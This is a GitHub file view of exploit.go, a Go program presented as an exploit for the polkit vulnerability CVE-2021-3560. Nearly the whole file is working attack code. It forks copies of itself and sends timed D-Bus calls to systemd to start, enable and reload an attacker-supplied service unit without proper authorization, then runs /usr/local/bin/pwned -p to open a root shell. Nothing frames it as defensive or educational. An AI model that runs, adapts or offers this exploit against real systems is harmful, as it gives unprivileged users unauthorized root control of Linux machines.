-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathexploit.go
156 lines (135 loc) · 3.87 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"github.com/godbus/dbus/v5"
)
var SystemdName = "org.freedesktop.systemd1"
var SystemdInterface = "org.freedesktop.systemd1.Manager"
var SystemdObjectPath = "/org/freedesktop/systemd1"
func Banner() {
fmt.Println("=== polkit CVE-2021-3560 exploit - RicterZ @ 360 Noah Lab ===")
}
func Fork() {
attr := &syscall.ProcAttr{
Env: os.Environ(),
Files: []uintptr{os.Stdin.Fd(), os.Stdout.Fd(), os.Stderr.Fd()},
}
args := append(os.Args, "1")
go syscall.ForkExec("/proc/self/exe", args, attr)
}
func main() {
if len(os.Args) == 2 {
Banner()
}
if !strings.HasSuffix(os.Args[1], ".service") {
Logging("[-] Unit file must end with .service")
os.Exit(3)
}
abs, err := filepath.Abs(os.Args[1])
if err != nil {
Logging("[-] Unit file status error: %s", err)
os.Exit(3)
}
if len(os.Args) <= 4 {
Fork()
}
var agent Agent
if len(os.Args) != 2 {
go agent.StartAgent()
time.Sleep(time.Millisecond * 500)
}
if len(os.Args) == 3 {
go MethodCallStartService(filepath.Base(abs))
} else if len(os.Args) == 4 {
go MethodCallEnableUnitFiles(abs)
} else if len(os.Args) == 5 {
go MethodReload()
} else {
for i:=1; i<5; i++ {
time.Sleep(time.Second)
if _, err := os.Stat("/usr/local/bin/pwned"); err == nil {
Logging("[+] File exists, popping root shell ...")
cmd := exec.Command("/usr/local/bin/pwned", "-p")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Run()
os.Exit(0)
}
}
Logging("[-] Exploit failed, please try again")
os.Exit(1)
}
select {}
}
func MethodCallStartService(ServiceName string) {
Logging("[*] Starting systemd service '%s' ...", ServiceName)
conn, err := dbus.ConnectSystemBus()
defer conn.Close()
if err != nil {
Logging("[-] Error for connecting system bus: %s", err)
os.Exit(1)
}
bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
call := bus.Call(SystemdInterface+".StartUnit", 4, ServiceName, "replace")
if call.Err != nil {
Logging("[-] Error for starting systemd service: %s", call.Err)
}
}
func MethodReload() {
Logging("[*] Reloading systemd daemon ...")
conn, err := dbus.ConnectSystemBus()
if err != nil {
Logging("[-] Error for connecting system bus: %s", err)
os.Exit(1)
}
bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
message := CreateMessage(bus, SystemdInterface+".Reload")
call := conn.Send(message, make(chan *dbus.Call, 1))
if call.Err != nil {
Logging("[-] Error for reloading daemon: %s", call.Err)
}
}
func MethodCallEnableUnitFiles(ServiceName string) {
Logging("[*] Enabling systemd unit file '%s' ...", ServiceName)
conn, err := dbus.ConnectSystemBus()
if err != nil {
Logging("[-] Error for connection system bus: %s", err)
os.Exit(1)
}
bus := conn.Object(SystemdName, dbus.ObjectPath(SystemdObjectPath))
message := CreateMessage(bus, SystemdInterface+".EnableUnitFiles", []string{ServiceName}, false, true)
call := conn.Send(message, make(chan *dbus.Call, 1))
if call.Err != nil {
Logging("[-] Error for enabling unit file: %s", call.Err)
}
}
func CreateMessage(obj dbus.BusObject, method string, args ...interface{}) *dbus.Message {
iface := ""
i := strings.LastIndex(method, ".")
if i != -1 {
iface = method[:i]
}
method = method[i+1:]
msg := new(dbus.Message)
msg.Type = dbus.TypeMethodCall
msg.Flags = dbus.FlagAllowInteractiveAuthorization
msg.Headers = make(map[dbus.HeaderField]dbus.Variant)
msg.Headers[dbus.FieldPath] = dbus.MakeVariant(obj.Path())
msg.Headers[dbus.FieldDestination] = dbus.MakeVariant(obj.Destination())
msg.Headers[dbus.FieldMember] = dbus.MakeVariant(method)
if iface != "" {
msg.Headers[dbus.FieldInterface] = dbus.MakeVariant(iface)
}
msg.Body = args
if len(args) > 0 {
msg.Headers[dbus.FieldSignature] = dbus.MakeVariant(dbus.SignatureOf(args...))
}
return msg
}